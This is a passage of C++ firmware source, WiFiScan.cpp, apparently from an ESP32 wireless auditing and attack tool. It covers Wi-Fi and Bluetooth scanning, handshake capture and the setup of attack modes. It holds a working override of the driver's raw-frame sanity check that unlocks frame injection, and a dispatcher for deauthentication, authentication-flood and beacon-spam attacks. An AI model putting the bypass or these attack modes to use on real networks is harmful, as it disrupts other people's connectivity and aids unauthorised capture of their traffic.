WiFiScan.cpp 114 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. LinkedList<Station>* stations;
  10. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  11. if (arg == 31337)
  12. return 1;
  13. else
  14. return 0;
  15. }
  16. #ifdef HAS_BT
  17. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  18. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  19. #ifdef HAS_SCREEN
  20. int buf = display_obj.display_buffer->size();
  21. #else
  22. int buf = 0;
  23. #endif
  24. String display_string = "";
  25. if (buf >= 0)
  26. {
  27. display_string.concat(text_table4[0]);
  28. display_string.concat(advertisedDevice->getRSSI());
  29. Serial.print(" RSSI: ");
  30. Serial.print(advertisedDevice->getRSSI());
  31. display_string.concat(" ");
  32. Serial.print(" ");
  33. Serial.print("Device: ");
  34. if(advertisedDevice->getName().length() != 0)
  35. {
  36. display_string.concat(advertisedDevice->getName().c_str());
  37. Serial.print(advertisedDevice->getName().c_str());
  38. }
  39. else
  40. {
  41. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  42. Serial.print(advertisedDevice->getAddress().toString().c_str());
  43. }
  44. #ifdef HAS_SCREEN
  45. uint8_t temp_len = display_string.length();
  46. for (uint8_t i = 0; i < 40 - temp_len; i++)
  47. {
  48. display_string.concat(" ");
  49. }
  50. Serial.println();
  51. while (display_obj.printing)
  52. delay(1);
  53. display_obj.loading = true;
  54. display_obj.display_buffer->add(display_string);
  55. display_obj.loading = false;
  56. #endif
  57. }
  58. }
  59. };
  60. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  61. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  62. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  63. #ifdef HAS_SCREEN
  64. int buf = display_obj.display_buffer->size();
  65. #else
  66. int buf = 0;
  67. #endif
  68. if (buf >= 0)
  69. {
  70. Serial.print("Device: ");
  71. String display_string = "";
  72. if(advertisedDevice->getName().length() != 0)
  73. {
  74. Serial.print(advertisedDevice->getName().c_str());
  75. for(uint8_t i = 0; i < bad_list_length; i++)
  76. {
  77. #ifdef HAS_SCREEN
  78. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  79. {
  80. display_string.concat(text_table4[1]);
  81. display_string.concat(" ");
  82. display_string.concat(advertisedDevice->getName().c_str());
  83. uint8_t temp_len = display_string.length();
  84. for (uint8_t i = 0; i < 40 - temp_len; i++)
  85. {
  86. display_string.concat(" ");
  87. }
  88. while (display_obj.printing)
  89. delay(1);
  90. display_obj.loading = true;
  91. display_obj.display_buffer->add(display_string);
  92. display_obj.loading = false;
  93. }
  94. #endif
  95. }
  96. }
  97. else
  98. {
  99. Serial.print(advertisedDevice->getAddress().toString().c_str());
  100. }
  101. Serial.print(" RSSI: ");
  102. Serial.println(advertisedDevice->getRSSI());
  103. }
  104. }
  105. };
  106. #endif
  107. WiFiScan::WiFiScan()
  108. {
  109. }
  110. void WiFiScan::RunSetup() {
  111. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  112. this->wsl_bypass_enabled = true;
  113. else
  114. this->wsl_bypass_enabled = false;
  115. ssids = new LinkedList<ssid>();
  116. access_points = new LinkedList<AccessPoint>();
  117. stations = new LinkedList<Station>();
  118. #ifdef HAS_BT
  119. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  120. NimBLEDevice::setScanDuplicateCacheSize(200);
  121. NimBLEDevice::init("");
  122. pBLEScan = NimBLEDevice::getScan(); //create new scan
  123. this->ble_initialized = true;
  124. this->shutdownBLE();
  125. #endif
  126. this->initWiFi(1);
  127. }
  128. int WiFiScan::clearStations() {
  129. int num_cleared = stations->size();
  130. stations->clear();
  131. Serial.println("stations: " + (String)stations->size());
  132. // Now clear stations list from APs
  133. for (int i = 0; i < access_points->size(); i++)
  134. access_points->get(i).stations->clear();
  135. return num_cleared;
  136. }
  137. int WiFiScan::clearAPs() {
  138. int num_cleared = access_points->size();
  139. access_points->clear();
  140. Serial.println("access_points: " + (String)access_points->size());
  141. return num_cleared;
  142. }
  143. int WiFiScan::clearSSIDs() {
  144. int num_cleared = ssids->size();
  145. ssids->clear();
  146. Serial.println("ssids: " + (String)ssids->size());
  147. return num_cleared;
  148. }
  149. bool WiFiScan::addSSID(String essid) {
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. return true;
  154. }
  155. int WiFiScan::generateSSIDs(int count) {
  156. uint8_t num_gen = count;
  157. for (uint8_t x = 0; x < num_gen; x++) {
  158. String essid = "";
  159. for (uint8_t i = 0; i < 6; i++)
  160. essid.concat(alfa[random(65)]);
  161. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  162. ssids->add(s);
  163. Serial.println(ssids->get(ssids->size() - 1).essid);
  164. }
  165. return num_gen;
  166. }
  167. #ifdef HAS_SCREEN
  168. void WiFiScan::joinWiFi(String ssid, String password)
  169. {
  170. static const char * btns[] ={text16, ""};
  171. int count = 0;
  172. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  173. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  174. lv_msgbox_set_text(mbox1, text_table4[2]);
  175. lv_msgbox_add_btns(mbox1, btns);
  176. lv_obj_set_width(mbox1, 200);
  177. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  178. this->wifi_initialized = true;
  179. return;
  180. }
  181. else if (WiFi.status() == WL_CONNECTED) {
  182. Serial.println("Already connected. Disconnecting...");
  183. WiFi.disconnect();
  184. }
  185. esp_wifi_init(&cfg);
  186. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  187. esp_wifi_set_mode(WIFI_MODE_NULL);
  188. esp_wifi_start();
  189. WiFi.begin(ssid.c_str(), password.c_str());
  190. Serial.print("Connecting to WiFi");
  191. while (WiFi.status() != WL_CONNECTED) {
  192. delay(500);
  193. Serial.print(".");
  194. count++;
  195. if (count == 10)
  196. {
  197. Serial.println("\nCould not connect to WiFi network");
  198. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  199. lv_msgbox_set_text(mbox1, text_table4[3]);
  200. lv_msgbox_add_btns(mbox1, btns);
  201. lv_obj_set_width(mbox1, 200);
  202. //lv_obj_set_event_cb(mbox1, event_handler);
  203. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  204. WiFi.mode(WIFI_OFF);
  205. return;
  206. }
  207. }
  208. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  209. lv_msgbox_set_text(mbox1, text_table4[4]);
  210. lv_msgbox_add_btns(mbox1, btns);
  211. lv_obj_set_width(mbox1, 200);
  212. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  213. connected_network = ssid;
  214. Serial.println("\nConnected to the WiFi network");
  215. Serial.print("IP address: ");
  216. Serial.println(WiFi.localIP());
  217. this->wifi_initialized = true;
  218. }
  219. #endif
  220. // Apply WiFi settings
  221. void WiFiScan::initWiFi(uint8_t scan_mode) {
  222. // Set the channel
  223. if (scan_mode != WIFI_SCAN_OFF) {
  224. //Serial.println(F("Initializing WiFi settings..."));
  225. this->changeChannel();
  226. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  227. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  228. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  229. //Serial.println(F("Initialization complete"));
  230. }
  231. }
  232. bool WiFiScan::scanning() {
  233. if (this->currentScanMode == WIFI_SCAN_OFF)
  234. return false;
  235. else
  236. return true;
  237. }
  238. // Function to prepare to run a specific scan
  239. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  240. {
  241. this->initWiFi(scan_mode);
  242. if (scan_mode == WIFI_SCAN_OFF)
  243. StopScan(scan_mode);
  244. else if (scan_mode == WIFI_SCAN_PROBE)
  245. RunProbeScan(scan_mode, color);
  246. else if (scan_mode == WIFI_SCAN_EAPOL)
  247. RunEapolScan(scan_mode, color);
  248. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  249. RunEapolScan(scan_mode, color);
  250. else if (scan_mode == WIFI_SCAN_AP)
  251. RunBeaconScan(scan_mode, color);
  252. else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
  253. RunRawScan(scan_mode, color);
  254. else if (scan_mode == WIFI_SCAN_STATION)
  255. RunStationScan(scan_mode, color);
  256. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  257. RunAPScan(scan_mode, color);
  258. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  259. RunAPScan(scan_mode, color);
  260. else if (scan_mode == WIFI_SCAN_PWN)
  261. RunPwnScan(scan_mode, color);
  262. else if (scan_mode == WIFI_SCAN_DEAUTH)
  263. RunDeauthScan(scan_mode, color);
  264. else if (scan_mode == WIFI_PACKET_MONITOR) {
  265. #ifdef HAS_SCREEN
  266. RunPacketMonitor(scan_mode, color);
  267. #endif
  268. }
  269. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  270. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  271. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  272. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  273. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  274. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  275. else if (scan_mode == WIFI_ATTACK_AUTH)
  276. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  277. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  278. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  279. else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
  280. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  281. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  282. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  283. else if (scan_mode == BT_SCAN_ALL) {
  284. #ifdef HAS_BT
  285. RunBluetoothScan(scan_mode, color);
  286. #endif
  287. }
  288. else if (scan_mode == BT_SCAN_SKIMMERS) {
  289. #ifdef HAS_BT
  290. RunBluetoothScan(scan_mode, color);
  291. #endif
  292. }
  293. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  294. RunEspressifScan(scan_mode, color);
  295. else if (scan_mode == LV_JOIN_WIFI) {
  296. #ifdef HAS_SCREEN
  297. RunLvJoinWiFi(scan_mode, color);
  298. #endif
  299. }
  300. else if (scan_mode == LV_ADD_SSID) {
  301. #ifdef HAS_SCREEN
  302. RunLvJoinWiFi(scan_mode, color);
  303. #endif
  304. }
  305. WiFiScan::currentScanMode = scan_mode;
  306. }
  307. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  308. // Common wifi attack configurations
  309. #ifdef HAS_SCREEN
  310. display_obj.TOP_FIXED_AREA_2 = 48;
  311. display_obj.tteBar = true;
  312. display_obj.print_delay_1 = 15;
  313. display_obj.print_delay_2 = 10;
  314. display_obj.initScrollValues(true);
  315. display_obj.tft.setTextWrap(false);
  316. display_obj.tft.setTextColor(TFT_BLACK, color);
  317. display_obj.tft.fillRect(0,16,240,16, color);
  318. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  319. display_obj.touchToExit();
  320. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  321. #endif
  322. packets_sent = 0;
  323. esp_wifi_init(&cfg);
  324. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  325. esp_wifi_set_mode(WIFI_AP_STA);
  326. esp_wifi_start();
  327. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  328. //WiFi.mode(WIFI_AP_STA);
  329. //esp_wifi_init(&cfg);
  330. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  331. //esp_wifi_set_mode(WIFI_AP_STA);
  332. //esp_wifi_start();
  333. //esp_wifi_set_promiscuous_filter(NULL);
  334. esp_wifi_set_promiscuous(true);
  335. esp_wifi_set_max_tx_power(82);
  336. this->wifi_initialized = true;
  337. #ifdef MARAUDER_FLIPPER
  338. flipper_led.attackLED();
  339. #else
  340. led_obj.setMode(MODE_ATTACK);
  341. #endif
  342. initTime = millis();
  343. }
  344. bool WiFiScan::shutdownWiFi() {
  345. if (this->wifi_initialized) {
  346. esp_wifi_set_promiscuous(false);
  347. WiFi.disconnect();
  348. WiFi.mode(WIFI_OFF);
  349. dst_mac = "ff:ff:ff:ff:ff:ff";
  350. esp_wifi_set_mode(WIFI_MODE_NULL);
  351. esp_wifi_stop();
  352. esp_wifi_deinit();
  353. #ifdef MARAUDER_FLIPPER
  354. flipper_led.offLED();
  355. #else
  356. led_obj.setMode(MODE_OFF);
  357. #endif
  358. this->wifi_initialized = false;
  359. return true;
  360. }
  361. else {
  362. return false;
  363. }
  364. }
  365. bool WiFiScan::shutdownBLE() {
  366. #ifdef HAS_BT
  367. if (this->ble_initialized) {
  368. pBLEScan->stop();
  369. pBLEScan->clearResults();
  370. BLEDevice::deinit();
  371. #ifdef MARAUDER_FLIPPER
  372. flipper_led.offLED();
  373. #else
  374. led_obj.setMode(MODE_OFF);
  375. #endif
  376. this->ble_initialized = false;
  377. return true;
  378. }
  379. else {
  380. return false;
  381. }
  382. #endif
  383. return true;
  384. }
  385. // Function to stop all wifi scans
  386. void WiFiScan::StopScan(uint8_t scan_mode)
  387. {
  388. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  389. (currentScanMode == WIFI_SCAN_AP) ||
  390. (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
  391. (currentScanMode == WIFI_SCAN_STATION) ||
  392. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  393. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  394. (currentScanMode == WIFI_SCAN_PWN) ||
  395. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  396. (currentScanMode == WIFI_SCAN_EAPOL) ||
  397. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  398. (currentScanMode == WIFI_SCAN_ALL) ||
  399. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  400. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  401. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  402. (currentScanMode == WIFI_ATTACK_AUTH) ||
  403. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  404. (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
  405. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  406. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  407. (currentScanMode == WIFI_PACKET_MONITOR) ||
  408. (currentScanMode == LV_JOIN_WIFI))
  409. {
  410. this->shutdownWiFi();
  411. }
  412. else if ((currentScanMode == BT_SCAN_ALL) ||
  413. (currentScanMode == BT_SCAN_SKIMMERS))
  414. {
  415. #ifdef HAS_BT
  416. this->shutdownBLE();
  417. #endif
  418. }
  419. #ifdef HAS_SCREEN
  420. display_obj.display_buffer->clear();
  421. #ifdef SCREEN_BUFFER
  422. display_obj.screen_buffer->clear();
  423. #endif
  424. //Serial.print("display_buffer->size(): ");
  425. Serial.println(display_obj.display_buffer->size());
  426. display_obj.tteBar = false;
  427. #endif
  428. }
  429. String WiFiScan::getStaMAC()
  430. {
  431. char *buf;
  432. uint8_t mac[6];
  433. char macAddrChr[18] = {0};
  434. esp_wifi_init(&cfg);
  435. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  436. esp_wifi_set_mode(WIFI_MODE_NULL);
  437. esp_wifi_start();
  438. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  439. this->wifi_initialized = true;
  440. sprintf(macAddrChr,
  441. "%02X:%02X:%02X:%02X:%02X:%02X",
  442. mac[0],
  443. mac[1],
  444. mac[2],
  445. mac[3],
  446. mac[4],
  447. mac[5]);
  448. this->shutdownWiFi();
  449. return String(macAddrChr);
  450. }
  451. String WiFiScan::getApMAC()
  452. {
  453. char *buf;
  454. uint8_t mac[6];
  455. char macAddrChr[18] = {0};
  456. esp_wifi_init(&cfg);
  457. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  458. esp_wifi_set_mode(WIFI_MODE_NULL);
  459. esp_wifi_start();
  460. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  461. this->wifi_initialized = true;
  462. sprintf(macAddrChr,
  463. "%02X:%02X:%02X:%02X:%02X:%02X",
  464. mac[0],
  465. mac[1],
  466. mac[2],
  467. mac[3],
  468. mac[4],
  469. mac[5]);
  470. this->shutdownWiFi();
  471. return String(macAddrChr);
  472. }
  473. String WiFiScan::freeRAM()
  474. {
  475. char s[150];
  476. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  477. this->free_ram = String(esp_get_free_heap_size());
  478. return String(s);
  479. }
  480. // Function to start running a beacon scan
  481. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  482. {
  483. sd_obj.openCapture("ap");
  484. #ifdef MARAUDER_FLIPPER
  485. flipper_led.sniffLED();
  486. #else
  487. led_obj.setMode(MODE_SNIFF);
  488. #endif
  489. Serial.println(text_table4[9] + (String)access_points->size());
  490. #ifdef HAS_SCREEN
  491. display_obj.TOP_FIXED_AREA_2 = 48;
  492. display_obj.tteBar = true;
  493. display_obj.print_delay_1 = 15;
  494. display_obj.print_delay_2 = 10;
  495. display_obj.initScrollValues(true);
  496. display_obj.tft.setTextWrap(false);
  497. display_obj.tft.setTextColor(TFT_WHITE, color);
  498. #ifndef MARAUDER_MINI
  499. display_obj.tft.fillRect(0,16,240,16, color);
  500. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  501. display_obj.touchToExit();
  502. #endif
  503. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  504. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  505. #endif
  506. esp_wifi_init(&cfg);
  507. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  508. esp_wifi_set_mode(WIFI_MODE_NULL);
  509. esp_wifi_start();
  510. esp_wifi_set_promiscuous(true);
  511. esp_wifi_set_promiscuous_filter(&filt);
  512. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  513. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  514. //else
  515. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  516. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  517. this->wifi_initialized = true;
  518. initTime = millis();
  519. }
  520. #ifdef HAS_SCREEN
  521. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  522. display_obj.tft.init();
  523. display_obj.tft.setRotation(1);
  524. #ifdef TFT_SHIELD
  525. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  526. Serial.println("Using TFT Shield");
  527. #else if defined(TFT_DIY)
  528. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  529. Serial.println("Using TFT DIY");
  530. #endif
  531. display_obj.tft.setTouch(calData);
  532. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  533. lv_disp_load_scr(scr);
  534. }
  535. #endif
  536. void WiFiScan::RunClearStations() {
  537. #ifdef HAS_SCREEN
  538. display_obj.tft.setTextWrap(false);
  539. display_obj.tft.setFreeFont(NULL);
  540. display_obj.tft.setCursor(0, 100);
  541. display_obj.tft.setTextSize(1);
  542. display_obj.tft.setTextColor(TFT_CYAN);
  543. display_obj.tft.println(F(text_table4[45]));
  544. display_obj.tft.println(text_table4[46] + (String)this->clearStations());
  545. #else
  546. this->clearStations();
  547. #endif
  548. }
  549. void WiFiScan::RunClearAPs() {
  550. #ifdef HAS_SCREEN
  551. display_obj.tft.setTextWrap(false);
  552. display_obj.tft.setFreeFont(NULL);
  553. display_obj.tft.setCursor(0, 100);
  554. display_obj.tft.setTextSize(1);
  555. display_obj.tft.setTextColor(TFT_CYAN);
  556. display_obj.tft.println(F(text_table4[9]));
  557. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  558. display_obj.tft.println(F(text_table4[45]));
  559. display_obj.tft.println(text_table4[46] + (String)this->clearStations());
  560. #else
  561. this->clearAPs();
  562. this->clearStations();
  563. #endif
  564. }
